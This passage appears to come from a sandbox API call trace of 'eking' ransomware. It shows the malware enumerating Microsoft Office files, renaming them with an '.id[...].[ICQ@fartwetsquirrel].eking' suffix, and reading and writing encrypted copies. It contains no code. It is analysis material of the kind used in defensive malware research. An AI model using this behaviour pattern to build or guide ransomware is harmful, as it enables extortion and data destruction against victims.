(lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-convert-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-convert-l1-1-0.dll")) returned 0x220 [0253.524] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-convert-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-convert-l1-1-0.dll")) returned 0x220 [0253.524] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-convert-l1-1-0.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-convert-l1-1-0.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0253.524] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-convert-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-convert-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.524] SetEvent (hEvent=0x2b8) returned 1 [0253.525] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-environment-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-environment-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0253.527] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=19136) returned 1 [0253.527] CloseHandle (hObject=0x348) returned 1 [0253.755] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-environment-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-environment-l1-1-0.dll")) returned 0x220 [0253.755] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-environment-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-environment-l1-1-0.dll")) returned 0x220 [0253.755] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-environment-l1-1-0.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-environment-l1-1-0.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0253.755] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-environment-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-environment-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.756] SetEvent (hEvent=0x2b8) returned 1 [0253.757] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvSubsystems32.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvisvsubsystems32.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0253.758] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=1761448) returned 1 [0253.758] CloseHandle (hObject=0x348) returned 1 [0253.758] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvSubsystems32.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvisvsubsystems32.dll")) returned 0x420 [0253.759] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvSubsystems32.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvisvsubsystems32.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvSubsystems32.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvisvsubsystems32.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0 [0253.759] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvSubsystems32.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvisvsubsystems32.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvSubsystems32.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvisvsubsystems32.dll")) returned 0 [0253.759] SetEvent (hEvent=0x2b8) returned 1 [0253.761] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvSubsystems64.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvisvsubsystems64.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0253.762] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=2285736) returned 1 [0253.762] CloseHandle (hObject=0x348) returned 1 [0253.762] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvSubsystems64.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvisvsubsystems64.dll")) returned 0x420 [0253.762] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvSubsystems64.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvisvsubsystems64.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvSubsystems64.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvisvsubsystems64.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0 [0253.762] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvSubsystems64.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvisvsubsystems64.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvSubsystems64.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvisvsubsystems64.dll")) returned 0 [0253.763] SetEvent (hEvent=0x2b8) returned 1 [0253.764] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\AppVLP.exe" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvlp.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0253.765] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=431664) returned 1 [0253.765] CloseHandle (hObject=0x348) returned 1 [0253.766] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\AppVLP.exe" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvlp.exe")) returned 0x220 [0253.766] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\AppVLP.exe" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvlp.exe")) returned 0x220 [0253.766] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\AppVLP.exe.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvlp.exe.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0253.766] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\AppVLP.exe" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvlp.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.766] SetEvent (hEvent=0x2b8) returned 1 [0253.767] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\C2R32.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\c2r32.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0253.767] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=820416) returned 1 [0253.767] CloseHandle (hObject=0x348) returned 1 [0253.767] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\C2R32.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\c2r32.dll")) returned 0x420 [0253.768] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\C2R32.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\c2r32.dll")) returned 0x420 [0253.768] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\C2R32.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\client\\c2r32.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0253.768] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\C2R32.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\c2r32.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.769] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\C2R64.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\c2r64.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0253.769] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=1208928) returned 1 [0253.769] CloseHandle (hObject=0x348) returned 1 [0253.770] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\C2R64.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\c2r64.dll")) returned 0x420 [0253.770] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\C2R64.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\c2r64.dll")) returned 0x420 [0253.771] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\C2R64.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\client\\c2r64.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0253.771] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\C2R64.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\c2r64.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.772] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\concrt140.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\concrt140.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0253.772] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=332968) returned 1 [0253.772] CloseHandle (hObject=0x348) returned 1 [0253.773] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\concrt140.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\concrt140.dll")) returned 0x220 [0253.773] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\concrt140.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\concrt140.dll")) returned 0x220 [0253.773] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\concrt140.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\client\\concrt140.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0253.773] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\concrt140.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\concrt140.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.774] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\mfc140u.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\mfc140u.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0253.774] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=5653664) returned 1 [0253.774] CloseHandle (hObject=0x348) returned 1 [0253.774] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\mfc140u.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\mfc140u.dll")) returned 0x220 [0253.774] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\mfc140u.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\mfc140u.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\mfc140u.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\client\\mfc140u.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0 [0253.775] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\mfc140u.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\client\\mfc140u.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\mfc140u.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\mfc140u.dll")) returned 0 [0253.775] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\msvcp120.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\msvcp120.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0253.777] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=660136) returned 1 [0253.777] CloseHandle (hObject=0x348) returned 1 [0253.777] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\msvcp120.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\msvcp120.dll")) returned 0x220 [0253.778] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\msvcp120.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\msvcp120.dll")) returned 0x220 [0253.778] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\msvcp120.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\client\\msvcp120.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0253.778] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\msvcp120.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\msvcp120.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.778] SetEvent (hEvent=0x2b8) returned 1 [0253.779] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\msvcp140.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\msvcp140.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0253.781] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=635040) returned 1 [0253.781] CloseHandle (hObject=0x348) returned 1 [0253.781] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\msvcp140.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\msvcp140.dll")) returned 0x220 [0253.781] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\msvcp140.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\msvcp140.dll")) returned 0x220 [0253.782] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\msvcp140.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\client\\msvcp140.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0253.782] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\msvcp140.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\msvcp140.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.782] SetEvent (hEvent=0x2b8) returned 1 [0253.782] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\msvcr120.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\msvcr120.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0253.784] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=963240) returned 1 [0253.784] CloseHandle (hObject=0x348) returned 1 [0253.784] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\msvcr120.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\msvcr120.dll")) returned 0x220 [0253.784] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\msvcr120.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\msvcr120.dll")) returned 0x220 [0253.784] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\msvcr120.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\client\\msvcr120.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0253.784] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\msvcr120.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\msvcr120.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.785] SetEvent (hEvent=0x2b8) returned 1 [0253.785] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\ucrtbase.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\ucrtbase.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0253.785] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=982720) returned 1 [0253.785] CloseHandle (hObject=0x348) returned 1 [0253.785] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\ucrtbase.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\ucrtbase.dll")) returned 0x220 [0253.785] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\ucrtbase.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\ucrtbase.dll")) returned 0x220 [0253.786] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\ucrtbase.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\client\\ucrtbase.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0253.786] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\ucrtbase.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\ucrtbase.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.786] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\vccorlib140.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\vccorlib140.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0253.787] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=390320) returned 1 [0253.787] CloseHandle (hObject=0x348) returned 1 [0253.787] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\vccorlib140.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\vccorlib140.dll")) returned 0x220 [0253.787] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\vccorlib140.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\vccorlib140.dll")) returned 0x220 [0253.787] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\vccorlib140.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\client\\vccorlib140.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0253.788] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\vccorlib140.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\vccorlib140.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.788] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\vcruntime140.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\vcruntime140.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0253.789] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=88752) returned 1 [0253.789] CloseHandle (hObject=0x348) returned 1 [0253.789] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\vcruntime140.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\vcruntime140.dll")) returned 0x220 [0253.790] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\vcruntime140.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\vcruntime140.dll")) returned 0x220 [0253.790] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\vcruntime140.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\client\\vcruntime140.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0253.791] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\vcruntime140.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\vcruntime140.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.791] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00004_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0253.793] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=9024) returned 1 [0253.793] CloseHandle (hObject=0x348) returned 1 [0253.794] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00004_.gif")) returned 0x220 [0253.794] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00004_.gif")) returned 0x220 [0253.794] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00004_.gif.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0253.794] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00004_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0253.794] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0253.795] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0253.795] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00004_.gif.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x39c [0254.069] ReadFile (in: hFile=0x348, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x2340, lpOverlapped=0x0) returned 1 [0254.093] WriteFile (in: hFile=0x39c, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x2350, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x2350, 